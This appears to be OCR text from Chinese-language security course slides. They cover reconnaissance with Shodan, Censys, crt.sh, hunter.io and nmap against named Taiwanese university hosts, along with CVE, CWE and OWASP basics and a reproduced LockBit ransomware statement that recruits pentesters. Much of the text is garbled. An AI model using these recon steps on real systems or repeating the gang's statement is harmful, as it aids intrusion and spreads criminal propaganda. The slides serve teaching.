gjjl.jladi.com/_upload/article/files/78/77/473b8ef...

1, 48, BE, BESAMEAR, 78, 45, ARSSENE?, Ha AMES, 1, 8

BUES, FEESE, [FERRRA, REE TG, ABEFH .

. nptu.edu.tw
hittps:/fcte.nptu.edutw  app XLS

https://cte.nptu.edu.tw/app/index.php?Action=downl...

2, HUER, §9ETH BERER—EW, 01 EEERANLE, 02@EN B A E-WRE, 1a,
BACEF (Lin Mel-Ll), (545 A Hyyymmdd, 035 $EATERMILER ...
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Google Hacking
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# Shodan

% SHODAN Explore Downloads Pricing &2

TOTAL RESULTS

TOP COUNTRIES

Taiwan 4

Singapore 1
TOP PORTS

443 3

80 2

TOP ORGANIZATIONS

Ministry of Education Computer Center 4

Amazon Data Services Singapore 1

TOP PRODUCTS

Apache httpd 4

Microsoft IS httpd 1

fou.edu.tw

0 View Report &y Download Results

Product Spotlight: Free, Fast IP Lookups for Open Ports and Vulnerabilities using InternetDE

BHR- ERAREHERTES 4

140.134.20.214

feumisry.ce.fou edu tw
feu.edu.iw

Ministry of Education Computer

Taiwan, Taichung

E#Em 1
140.134.4.194
Ministry of Education Computer

Taiwan, Taichung

& Citrix Gateway [
140.134.136.59
feu.edu.tw

Ministry of Education Computer

.

Taiwan, Taichung

&) SSL Certtficate
Issuad By:
|- Common Name:
TWCA Secure SSL Certification
Authority
|- Organization:
TAIWAN-CA

Issued To
I- Comman Name:
*feu.edutw

|- Organization

Feng Chia University

Supported SSL Versions:
TLSv1.2

HTTP/1.1 383 See Other

Ll Historical Trend

[0 View on Map

HTTP/1.1 288 0K
Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-II15/18.8

X-AspNet-Version: 4.0.38319

Set-Cookie: __ AntiXsrfToken=77907a8198b24d2eB83cbc5be@6B2b554; path=/; HttpOnly

X-Powered-By: ASP.NET

X-Frame-Options: SAMEORIGIN
Content—Security-Policy: de...

Date: Wed, @7 Jun 2023 14:44:16 GMT

Server: Apache

Location: https://ilearn2.fcu.edu.tw

Content-Language: zh—tw
Content-Length: 427
Content-Type: text/html;

© SSL Certificate
Issued By:
|- Common Name:
TWCA Secure SSL Certification
Authority
|- Organization:

TAIWAN-CA

Issued To
I- Comman Name:
*feu.edutw

charset=UTF-8

HTTP/1.1 200 0K

Date: Tue, @6 Jun 2823 86:55:31 GMT

Server: Apache

X-Frame-Options: SAMEORIGIN

Accept-Ranges: bytes

Feature-Policy: camera ‘none'; microphone 'none'; geolecation
Referrer-Policy: no-referrer

X-X5S5-Protection: 1; mode=block

X-Content-Type-Opticns: nosniff

Cache-Cont. ..

‘none’

Account

2023-06-10T19:30:20.873615

2023-06-07T14:44:17.858746

2023-06-08T0D6:55:31.719301



ensys

censys

Results

Host Filters
Labels:

605 remo
371 net
124 dat

@

1,430

Network TA

Infor )

XIM-HK Room 704,
aChen Leighton

HINET Data
Communication
i Group
=
Location:

1,578

Germany
B Mo

Service Filters

Service Names:

o ] ncu.edutw

NCU-TW National Central Unive!

JHTTP

< 140.115.0.249 (1

NCU-TW Nationa
JHTTP

= 140.115.0.251 (14

NCU-TW Nationa
JHTTP

< 140.115.0.172 (140-115-0-172.cc.ncu.edu.tw)

Microsoft Windows NCU-TW National Central University (18420)

an, Taiwan

an, Taiwan

Taiwan, Taiwan

an, Taiwan

Taiwan, Taiwan

TTP

Taiwan, Taiwan

https://search.censys.com/
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Domain Search ¢ & Upload a list of domai

= microsoft.com 1 = sults +— Filters ~ Q

Jepartment ~ nly results with

25,260 results for your s s Export @ Find by name v Company

Microsoft
Victoria Taylor

victoria.taylo microsoft.com

9 99 1 re, and artificial i \ore
Add to a cam

Sanjay Agarwal

sanjay.agdarwal@microsoft.com Sa s lead
ment

o9

Add to a campaign

Ricardo Marulanda
ricardo.marulanda@microsoft.... sz lead  ~ chnologies

Add to a campaign



https://hunter.io/

# crt.s Domain Name

—
|\J Group by Issuer

Criteria Type: Identity Match: ILIKE Search: ‘ncu.edu.tw’

Sorry, your search results have been truncated.
It is not currently possible to sort and paginate large result sets efficiently, so only a random subset is shown below.
Please retry your search with expired certificates excluded.

Certificates crt.shID  Logged At ft Not Before Not After Common Mame Matching Identities Issuer Name
2383252629 2020-01-27 2014-05-16 2019-05-16 EF 3 pattylan@ncu.edu.tw C=TW, O=THR OU=-AHFESEEEPL
2383186471 2020-01-27 2013-05-08 2018-05-08 5= chia@csie.ncu.edutw C=TW, O=TER OU=A B FUEZEEDL
2383185407 2020-01-27 2011-11-18/2019-11-18 =268 naomi@ncu.edu tw C=TW, O=17E1[%, OU=AHEESEET
2382406641 2020-01-27 2011-12-14 2016-12-14 == fanruoli@ncu.edu tw C=TW, O=FTEI[F, OU=F B gV E S &=
1954021144 2019-10-03 2019-10-03 2020-01-01 nfreenas.ce.ncu.edu.tw nfreenas.ce.ncu.edutw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1954021099 2019-10-03 2019-10-03 2020-01-01 nfreenas.ce.ncu.edu.tw nfreenas.ce.ncu.edutw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1953099414 2019-10-03 2019-10-03 2020-01-01 poseidon.ihs.ncu.edu.tw poseidon.ihs.ncu.edu.tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1953099379 2019-10-03 2019-10-03 2020-01-01 poseidon.ihs.ncu.edutw poseidon.ihs.ncu.edu.tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1965825926 2019-10-02 2019-10-02 2019-12-31 webmail.mgt.ncu.edu.tw mailcube.mgt.ncu.edu.tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3

webmail. mgt.ncu.edu.tw
1949350762 2019-10-02 2019-10-02 2019-12-31 webmail.mgt.ncu.edu.tw mailcube.mgt.ncu.edu.tw

webmail. mgt.ncu.edu.tw
1995385721 2019-10-02 2019-10-02 2019-12-31 loan.webapp.cc.ncu.edu.tw loan.webapp.cc.ncu.edu.tw C=US, D=Let's Encrypt, CN=Let's Encrypt Authority X3
1949284654 2019-10-02 2019-10-02 2019-12-31 loan.webapp.cc.ncu.edu.tw loan.webapp.cc.ncu.edu.tw C=US, D=Let's Encrypt, CN=Let's Encrypt Authority X3
1995192275 2019-10-02 2019-10-02 2019-12-31 ceiot.ce.ncu.edu.tw ceiot.ce.ncu.edu.tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1949050092 2019-10-02 2019-10-02 2019-12-31 ceiot.ce.ncu.edu.tw ceiot.ce.ncu.edu.tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1956047498 2019-10-02 2019-10-02 2019-12-31 kunopera.lib.ncu.edu.tw kunopera.lib.ncu.edu.tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1946760325 2019-10-02 2019-10-02 2019-12-31 kunopera.lib.ncu.edu.tw kunopera.lib.ncu.edu.tw C=US, D=Let's Encrypt, CN=Let's Encrypt Authority X3
1991033021 2019-10-02 2019-10-02 2019-12-31 win.lib.ncu.edu.tw win.lib.ncu.edu_tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1946758946 2019-10-02 2019-10-02 2019-12-31 win.lib.ncu.edu.tw win.lib.ncu.edu_tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1952626051 2019-10-01 2019-10-01 2019-12-30 www.lib.ncu.edu.tw www.lib.ncu.edu.tw C=US, D=Let's Encrypt, CN=Let's Encrypt Authority X3
1945643595 2019-10-01 2019-10-01 2019-12-30 www.lib.ncu.edu.tw www.lib.ncu.edu.tw
1955678230 2019-10-01 2019-10-01 2019-12-30 science.ncu.edu.tw science.ncu.edu.tw

www.science.ncu.edu.tw
1945134986 2019-10-017 2019-10-01 2019-12-30 science.ncu.edu.tw science.ncu.edu.tw C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3

www.science.ncu.edu.tw



https://crt.sh/
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#6060 MEZggELIFIH

c BEI3IWX -AZFBWEEZE oo e e

Settings Credentials

Standard

DISCOVERY
ASSESSMENT
REPORT

ADVANCED

X55 via angular
template injection in
manage.kaiza...
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« HUARARZE |

- HUAMERBBROAA Z48 100% 2% |
« Hm AP IRA—EE B 5

 HAER AR EREAEAT WIS |
« PRHEEREESREIAENTHERE

« RBEEHINEZER O LITFF |
- BEE2EAERS
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# 99r0 1T AV R

« Banner Grabbing
- BESHARBIRAE - LREREEHZRAESEE IS

[:—[Raliﬁ%MeowDC)—[ﬂ]

$ curl —-i https://waw.fcu.edu.tw/

HTTP/2 200

date: Tue, 05 Mar 2024 15:02:57 GMT

content—type: text/html; charset=UTF-8

server:

link: <https://www.fcu.edu.tw/wp-json/>; rel="https://api.w.org/"
link: <https://www.fcu.edu.tw/wp-json/wp/v2/pages/2>; rel="altern
link: <https://www.fcu.edu.tw/>; rel=shortlink

vary: Accept-Encoding

access—control-allow-headers: origin, x-requested-with, content-t
access—control-allow—methods: PUT, GET, POST, DELETE, OPTIONS
x—frame—options: SAMEORIGIN

x—-content-type-options: nosniff
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R tm Ay R

Essentials

Download!
About

License

FAQ

Security Reports

Source Repositories

» General Information

» Trunk
v 24

Documentation

« Version 2.4
» Trunk (dev)
» Wiki

Get Involved

+ Mailing Lists
- Bug Reporis
» Developer Info
» User Support

Subprojects

+ Docs

» Test
Flood
libapreq
Modules
mod_fcgid
mod_fip

Related Projects

APACHE

HTTP SERVER PROJECT

Apache HTTP Server 2.4 vulnerabilities

This page lists all security vulnerabilities fixed in released versions of Apache HTTP Server 2.4. Each vulnerability is given a security impact rating by the Apache security team - please note that this rating may
well vary from platform to platform. We also list the versions the flaw is known to affect, and where a flaw has not been verified list the version with a question mark.

Please note that if a vulnerability is shown below as being fixed in a "-dev" release then this means that a fix has been applied to the development source tree and will be part of an upcoming full release.

Please send comments or corrections for these vulnerabilities to the Security Team.

The initial GA release, Apache httpd 2.4.1, includes fixes for all vulnerabilities which have been resolved in Apache httpd 2.2.22 and all older releases. Consult the Apache httpd 2.2 vulnerabilities list for more
information.

Fixed in Apache HTTP Server 2.4.58

low: mod_macro buffer over-read (CVE-2023-31122)

Out-of-bounds Read vulnerability in mod_macro of Apache HTTP Server.This issue affects Apache HTTP Server: through 2.4.57.

Acknowledgements: finder: David Shoon (github/davidshoon)

Update 2.4.58 released 2023-10-19
Affects <=2.4.57

low: Apache HTTP Server: DoS in HTTP/2 with initial windows size 0 (CVE-2023-43622)

An attacker, opening a HTTP/2 connection with an initial window size of 0, was able to block handling of that connection indefinitely in Apache HTTP
Server. This could be used to exhaust worker resources in the server, similar to the well known "slow loris" attack pattern.

This has been fixed in version 2.4.58, so that such connection are terminated properly after the configured connection timeout.
This issue affects Apache HTTP Server: from 2.4.55 through 2.4.57.
Users are recommended to upgrade to version 2.4.58, which fixes the issue.

Acknowledgements:
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# WannaCry — CVE-2017-0143

JIXCVE-2017-0143 Detail

MODIFIED QUICK INFO

CVE Dictionary Entry:

.
v

This vul bility has been modified since it was last analyzed by the NVD. Itis awaiting reanalysis which may result in further changes to

the information provided.
NVD Published Date:

Description NVD Last Modified:

The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 201: 06/20/2018

Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary Source:

cod crafted packets, aka "Windows SMB Remote Code Execution Vulnerability.” This vulnerability is different from those described in Microsoft Corporation
CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.

- ) - —
Severrty CVSS Version 3.x CVSS Version 2.0

CVSS 3.x Severity and Metrics:

ﬁ NIST: NVD Base Score: |[SENIGH] Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the
CVE List from the CNA.

Note: NVD Analysts Rave published a CVSS score for this CVE based on publicly available information at the time of analysis. The CNA Ras not provided
a score within the CVE List.
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# LockBit ##PZx 1

HEFIFEEELockBitES£EKZE 5 TN

FRNE EAD BRI EAIE  vkunderground i B E 88 LockBitHI/R

488

PR ZEEREENANZHETERBLockBitELEEESKEA B FLE » IRiE
{BleepingComputer) #I3RE » LockBitfiIi ¥ BAERE FMNERINEER/S LR
WIS MEFMREEEENERENVxundergroundtZBXIEE 7 It—

THE SITE IS NOW UNDER CONTROL OF LAW ENFORCEMENT

This site is now under the control of The National Crime Agency of the UK, working in close cooperation
with the FBl and the international law enforcement task force, ‘Operation Cronos”.

We can coafirm that Lockbit's
services have been disrupted as a
result of International Law
Enforcement action — this is an
ongoing and developing
operation.

Retumn here for more
information at:

11:30 GMT on Tuesday 20th
Feb.

BNCA 25 cee o« [ e e @ .
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C 1l & lockbit3753ekiocyoSepmpy6kimejchjtzddoekjintsmu3gh4de2id.onion/pos

LEAKED DAT W TWITTER & HOWTOBUYBITCOIN > @ CONTACTUS
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Deadline: 24 Feb, 2024 21:37:34 UTC
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Hash: SHA512

What happened.

On February 19, 2824 penetration testing of two of my servers took place, at ©6:39 UTC I found an error on the site 582 Bad Gateway, restarted nginx - nothing changed, restarted mysql - nothing
changed, restarted PHP - the site worked. I didn't pay much attention to it, because for 5 years of swimming in money I became very lazy, and continued to ride on a yacht with titsy girls. At 28:47 I
found that the site gives a new error 484 Not Found nginx, tried to enter the server through SSH and could not, the password did not fit, as it turned out later all the information on the disks was
erased.

Due to my personal negligence and irresponsibility I relaxed and did not update PHP in time, the servers had PHP 8.1.2 version installed, which was successfully penetration tested most likely by this
CVE https://www.cvedetails.com/cve/CVE-2023-3824/ , as a result of which access was gained to the two main servers where this version of PHP was installed. I realize that it may not have been this
CVE, but something else like @day for PHP, but I can't be 188X sure, because the wversion installed on my servers was already known to have a known vulnerability, so this is most likely how the
victims® admin and chat panel servers and the blog server were accessed. The new servers are now running the latest version of PHP 8.3.3. If anyone recognizes a (VE for this version, be the first to
let me know and you will be rewarded.

The problem doesn't just affect me. Anyone who has used a vulnerable version of PHP keep in mind that your server may have been compromised, I'm sure many competitors may have been hacked in the same
way, but they didn't even realize how it happened. I'm sure the forums I know are also hacked in the same way via PHP, there are good reasons to be sure, not only because of my hack but alsoc because
of information from whistleblowers. I noticed the PHP problem by accident, and I'm the only one with a decentralized infrastructure with different servers, so I was able to quickly figure out how the
attack happened, if I didn't have backup servers that didn't hawve PHP on them, I probably wouldn't have figured out how the hack happened.

The FBI decided to hack now for one reason only, because they didn't want to leak information from https://fultoncountyga.gov/ the stolen documents contain a lot of interesting things and Donald
Trump's court cases that could affect the upcoming US election. Personally I will vote for Trump because the situation on the border with Mexico is some kind of nightmare, Biden should retire, he is a
puppet. If it wasn't for the FBI attack, the documents would have been released the same day, because the negotiations stalled, right after the partner posted the press release to the blog, the FBI
really didn't like the public finding out the true reasons for the failure of all the systems of this city. Had it not been for the election situation, the FBI would have continued to sit on my server
waiting for any leads to arrest me and my associates, but all you need to do to not get caught is just quality cryptocurrency laundering. The FBI can sit on your resources and also collect information
useful for the FBI, but do not show the whole world that you are hacked, because you do not cause any critical damage, you bring only benefit. What conclusions can be drawn from this situation? Very
simple, that I need to attack the .gov sector more often and more, it is after such attacks that the FBI will be forced to show me weaknesses and wvulnerabilities and make me stronger. By attacking the
.gov sector you can know exactly if the FBI has the ability to attack us or not.

Even if you updated your PHP version after reading this information, it will not be enough, because you have to change the hoster, server, all possible passwords, user passwords in the database, audit
the source code and migrate everything, there is no guarantee that you have not been hardened on the server. There is no guarantee that the FBI does not have @day for your servers about which they
have already learned enough information to re-hack, so only a complete change of everything that can only be replaced will help.

All other servers with backup blogs that did not have PHP installed are unaffected and will continue to give out data stolen from the attacked companies.

As a result of hacking the servers, the FBI obtained a database, web panel sources, locker stubs that are not source as they claim and a small portion of unprotected decryptors, they claim 1866 ?R
decryptors, although there were almost 20880 decryptors on the server, most of which were protected and cannot be used by the FBI. Thanks to the database they found out the generated nicknames of the
partners, which have nothing to do with their real nicknames on forums and even nicknames in messengers, not deleted chats with the attacked companies and accordingly wallets for money, which will be
investigated and searched for all those who do not launder crypto, and possibly arrest people involved in laundering and accuse them of being my partners, although they are not. All of this
information has no value because it is all passed to the FBI and without hacking the panel, after every transaction by insurance agents or negotiators.

The only thing that is of wvalue and potential threat is the source code of the panel, because of it is probably possible future hacks if you let everyone into the panel, but now the panel will be
divided into many servers, for verified partners and for random people, up to 1 copy of the panel for 1 partner on a separate server, before there was one panel for everyone. Due to the separation of
the panel and greater decentralization, the absence of trial decrypts in automatic mode, maximum protection of decryptors for each company, the chance of hacking will be significantly reduced. Leak of
the panel source code was also happening at competitors, it didn't stop them from continuing their work, it won't stop me either.

The FBI says they received about 1088 decryptors, a nice figure, but it doesn't look like the truth, yes they received some unprotected decryptors, those builds of the locker that were made without
the "maximum decryptor protection™ checkbox could only be received by the FBI in the last 3@ days, it's not known on what day the FBI got access to the server, but we know exactly the date of CVE
disclosure and the date when PHP generated an error, before Feb 19th the attacked companies were regularly paying even for unprotected decryptors, so there is a chance the FBI were only on the server
for 1 day, it would be nice if the FBI released all the decryptors to the public, then you could trust them that they really own the decryptors, not bluffing and praising their superiority, not the
superiority of 1 smart pentester with a public CVE. Note that the vast majority of unprotected decryptors are from partners who encrypt brute force dedicas and spam single computers, taking $208@
ransoms, i.e. even if the FBI has 1088 decryptors, they are of little use, the main thing is that they didn't get all the decryptors for the entire 5 years of operation, which number is about 48600.
It turns out that the FBI were only able to get hold of 2.5% of the total number of decryptors, yes it's bad, but it's not fatal.

- From this significant moment, when the FBI cheered me up, I will stop being lazy and make it so that absolutely every build loker will be with maximum protection, now there will be no automatic
trial decrypt, all trial decrypts and the issuance of decryptors will be made only in manual mode. Thus in the possible next attack, the FBI will not be able to get a single decryptor for free.
Probably, everyone has already noticed how beautifully the FBI has changed the design of the blog, no one has ever been given such honors, usually everyone just put the usual plug with the praise of
all the special services of the world. Although in fact only one person from all over the planet deserves praise, the one who pentest my site and picked up the right public CVE, I wonder how much he
was paid, how much was his bonus? If less than a million dollars, then come work for me, you'll probably make more with me. Or just come talk to me at tox
3885B89ABC51502FB124D645986F5D3DASCBI7CEBEAS75959AE4FI5302AR4E1D7A9C3C4AEIB7 remember that I always have an active bug bounty program and I pay money for bugs found. FBI doesn't appreciate your
talents, but I do and am willing to pay generously. 122
I wonder why the alpha, revil, hive blogs were not designed so nicely? Why weren't their deanons published? Even though the FBI knows their identities? Strange isn't it? Because with such stupid

methods FBI is trying to intimidate me and make me stop working. The FBI designer should work for me, you have good taste, I especially liked the new preloader, in the new update I should do something




# LockBit EEHRA - 1

« On February 19, 2024 penetration testing of two of my servers took place, at 06:39 UTC | found an error on the
site 502 Bad Gateway, restarted nginx - nothing changed, restarted mysqgl - nothing changed, restarted PHP - the
site worked. | didn't pay much attention to it, because for 5 years of swimming in money | became very lazy, and
continued to ride on a yacht with titsy girls. At 20:47 | found that the site gives a new error 404 Not Found nginx,
tried to enter the server through SSH and could not, the password did not fit, as it turned out later all the
information on the disks was erased.

- 2024 F£ 2 H19 H - FBI ixWMaEhkasET 22 - HFRRERKE06:39 - AL 3437 7 —{Ef57R502 Bad
Gateway * E#MRIEINginx - RBEERIE: - EMBIE mysql - RBHEMIE - EFRIE PHP - #ISLIE 7 - TORKER -
RAEDTERK 75 F  HESRE - AENDKM BRI - 20:47 - FEIRALLLIR 7 HAVEEER 404 Not
Found nginx - E:li&48 SSH #EAfEIARz: - (BEIZEAN - BUEAIEME  EAEREIRER FAFREEMEBHRMER 1~ -
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« Due to my personal negligence and irresponsibility | relaxed and did not update PHP in time, the servers had PHP
8.1.2 version installed, which was successfully penetration tested most likely by this CVE
https://www.cvedetails.com/cve/CVE-2023-3824/ , as a result of which access was gained to the two main servers
where this version of PHP was installed. | realize that it may not have been this CVE, but something else like Oday
for PHP, but | can't be 100% sure, because the version installed on my servers was already known to have a known
vulnerability, so this is most likely how the victims' admin and chat panel servers and the blog server were
accessed. The new servers are now running the latest version of PHP 8.3.3. If anyone recognizes a CVE for this
version, be the first to let me know and you will be rewarded.

- ARBBEANRRBIAEEE  HER®  RERBSENPHP - GRIEZLE TPHP 8.1.2 ikA - ROIEEEBILCVE BINETT
B E IR https://www.cvedetails.com/cve/CVE-2023-3824/ - RIL O] UEFIZ EIhRA PHP IR E F [IAR:S -
B2 ofsEAZER CVE - mEEMERLEL PHP Oday RIRFY - B ARE 100% tEE - HAFAERE EZERMRAS &
MEA—ESFRE - PrLAEREEREZNER MK B GRS UK EEEEREESNTHRFZEN - FE ke REE
{TETARZART PHP 8.3.3 - INRABARBZRILEARAR CVE - FFE—BSEHRE - TRIESER -

124



# LockBit E 5 EHR - 3

« Probably, everyone has already noticed how beautifully the FBI has changed the design of the blog, no one has
ever been given such honors, usually everyone just put the usual plug with the praise of all the special services of
the world. Although in fact only one person from all over the planet deserves praise, the one who pentest my site
and picked up the right public CVE, | wonder how much he was paid, how much was his bonus? If less than a
million dollars, then come work for me, you'll probably make more with me. Or just come talk to me at tox xxxxxx
remember that | always have an active bug bounty program and | pay money for bugs found. FBI doesn't
appreciate your talents, but | do and am willing to pay generously.

- 115 - BEAH LIRS ETLRAE/UWITRZRMLE (EERARET - IEHRBAEREERNGRE BEEEAEHR
B ERIEREE R FATERRRBEGHRE—E - BEER LR RAE—EANERES - S EE AR E
TE2ZEAETESEERN AL CVERA - BEREBMNEMSE r20ig  NREEZEZD ? IRAZ—B8EE - K
BERTIFIE . ME—EROEETRESD - SIEEEB tox xooxxx BEEME - Bl - R —EERINER TS -
WHEEIRNERNIER © FBl AMREIRWZEE - ERMEL BESFEETLAE -
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# LockBit = #¢ FBI ¥J8Y CVE-2023-3824

AKCVE-2023-3824 Detail

Description

In PHP version 8.0 before 8.0.30, 8.1* before 8.1.22, and 8.2* before 8.2.8, when loading phar file, while reading PHAR directory entries,
insufficient length checking may lead to a stack buffer overflow, leading potentially to memory corruption or RCE.

Seve rl ty CVSS Version 3.x CVSS Version 2.0

CVSS 3.X Severity and Metrics:

q NIST: NVD Base Score: Vector: CVSS:3.1/AV:N/AC:L/PR:N/UL:N/S:U/C:H/1:H/A:H

“ CNA: PHP Group Base Score: | EN Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the
CVE List from the CNA.

Note: It is possible that the NVD CVSS may not match that of the CNA. The most common reason for this is that publicly available information does not
provide sufficient detail or that information simply was not availoble ot the time the CVSS vector string was assigned.




# LockBit 75 4 FBI ¥J g9 CVE-2023-3824

AKCVE-2023-3824 Detail

Description
In PHP version 8.0.* before 8.0.30, 8.1 before 8.1.22 and 8.2.* b 3, when loading phar file, while reading PHAR directory entries,
insufficient length checking may lead toja stack buffer overflow, lefding potentially to memory corruption or RCE.

Stack
Buffer

Ove rro
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TVN-202201003

CVE-2022-22055

9.8 (Critical)
CVSS:3 1AV N/AC UPR:N/UIN/S:UICHITHIAH

PRSE S B MR o BEEE S EEZEIR WESE

| SQL
Injection
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# CWE — Common Weakness Enumeration

- CVEBEREEE
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# CWE — Common Weakness Enumeration

/ Common Weakness Enumeration New to CWE|
G W & HW i

Start here!

Home About ¥ CWE List v Mapping v Top-N Lists ¥

CWE-121: Stack-based Buffer Overflow

Weakness ID: 121

Vulnerability Mapping: ALLOWED
Abstraction: Variant

Community ¥ News ¥ Search

View customiz nformation:

¥ Description

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a

function).

¥ Alternate Terms
Stack Overflow: "Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack

exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either

circumstance is discouraged.

¥ Relationships

¥ Relevant to the view "Research Concepts” (CWE-1000)

Nature Type ID Name

Childof ©® 787  OQut-of-bounds Write

ChildOf @ 788 Access of Memory Location After End of Buffer

¥ Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the
memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory addr

which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker ca
supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since
the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack
include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-
what-where" condition.
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# CWE — Common Weakness Enumeration

Common Weakness Enumeration

New to CWE?
- STV & HY

Start here!

o
Home About ¥ CWE List ¥ Mapping ¥ Top-N Lists ¥ Community ¥ News ¥ Search

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness 89

Vulnerabil Mapping: ALLOWED
Abstraction: Base

View customized information:
¥ Description

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes
special elements that could modify the intended SQL command when it is sent to a downstream component.

¥ Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of
ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including
execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or product package with
even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control
and data planes.

¥ Relationships

¥ Relevant to the view "Research Concepts" (CWE-1000)

Nature Type ID Name
ChildOf @ 943  Improper Neutralization of Special Elements in Data Query Logic
ParentOf O 564 QL In Hibernate

CanFollow O 456 Missing_Initialization of a Variable

¥ Relevant to the view "Software Development” (CWE-699)
Nature Type ID Name
MemberOf 137 Data Neutralization Issues
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# OWASP Top 10

« Open Worldwide Application Security Project (OWASP)
- BIRFEERAS  ER FFAFZENZEEREE
o WARAZEIRCWEEZE - {B Top 10 HE R EEREEME
« %71 Top 10
« OWASP Web Top 10
« OWASP Mobile Top 10

. OWASP API Top 10
. OWASP CICD Top 10
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# OWASP Web Top 10 - 2021

« AO1:
« AO2:
« AO3:
« AO4 :

« AO05

« A0G6 :
« AO7:
« A0S :
« A09:

- Al0

REPRIEFIS<24 (Broken Access Control)
NIZ #1534 (Cryptographic Failures)
A ATE (Injection)

A2 25T (Insecure Design)

C BERRTERFE (Security Misconfiguration)

fEkaE@ER T (Vulnerable and Outdated Components)
ons & Be as i <24 (Identification and Authentication Failures)
HmEE RERZE MR (Software and Data Integrity Failures)

Bt M EEER Y (Security Logging and Monitoring Failures )

. B ImeE K 1B3E (Server-Side Request Forgery)
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# OWASP API Top 10 - 2023

API1

API2 :

API3

API4 :
API5 :
API6 :
API7 :
API8 :
API9 :

. REZ2EMY)HIEHE (Broken Object Level Authorization)

HEQ

NS
>eﬁ

5785 (Broken Authentication)

. MBI AR R IR RL (Broken Object Property Level Authorization)

AZPREEREFE (Unrestricted Resource Consumption)
ENINEEREPEIEE (Broken Function Level Authorization)

A PRI R T 712 (Unrestricted Access to Sensitive Business Flows)
B AR eR Imam KA iS (Server Side Request Forgery)

L HRREEFR (Security Misconfiguration)

EEFEEAE (Improper Inventory Management)

API10 : APINAZZEA (Unsafe Consumption of APIs)
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# Quick Recap

» CVE : BESRYTRIH E 1 e

(LT

- CWE : BRI/ S E

5143 0~10 R &

Tl

« CVSS : E593h / U IR B
» OWASP Web Top 10 : &R 10 & Web 42 A fa
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# 59%nHY 77 4R

» I I LA 595 70 X A 48

- H B 1HE 53R
- REH - REE - PILAREHEH
BEEHIRERERREGIM 80, 443 Port £
- JFH B HEA 555
- SEAERE (AR AR 552,
+ B4 FTP ~ SMB ~ SSH ~ RDP » SQL » SMTP ......
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# Port

- —5 8k - Aikss L olLAEIRBRIRZZ(E Server Service
=H—1& Server Service &= T E L _-FRI—1{E=2%1E Port

AR —LEIBAIKEHE - BAEEH
« FTP: 21
« SSH:22
« HTTP: 80
« HTTPS: 443
« SMB: 445

°
(L
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# Nmap

ik EAR—LE Port

EHlIJ
e
+
+
|T|U |

=1
=]
—

« Mol LAEL Nmap 2

[:—[kaliﬁjkali]—:ftmp:

S nmap wew . fcu.edu.tw

Starting Nmap 7.94SVN ( https://nmap.org ) at 2@24-03-08 @1:21 EST

Nmap scan report for www.fcu.edu.tw (18.136.55.241)

Host is up (@.062s latency).

Other addresses for www.fcu.edu.tw (not scanned): 52.74.206.43

rDNS record for 18.136.55.241: ec2-18-136-55-241.ap-southeast-1.compute.amazonaws.com
Not shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (host-unreach)
PORT STATE SERVICE

80/tcp open http

443/tcp open https

Mmap done: 1 IP address (1 host up) scanned in 59.7@ seconds
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# Nmap

« Mol LiE2E Nmap RiFt sk ARRE—L Port
P

. DR (BRE Port 1 -p

[:—Ekaliijkali]—:ﬂ]
$ nmap -p 445 10.18.12.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-83-08 @1:35 EST
Nmap scan report for 10.18.12.33
Host is up (0.40s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
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# Nmap

1= 48 Port 5%

STRRAVER (FERE) -A

’_—( kali® kali)-[~]
$ nmap -p 445 -A 10.10.12.33
Starting Nmap 7.945WN ( https://nmap.org ) at 2024-03-08 @1:37 EST
Nmap scan report for 10.18.12.33
Host is up (@.38s latency).

PORT STATE SERVICE VERSION

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

Service Info: Host: JON-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
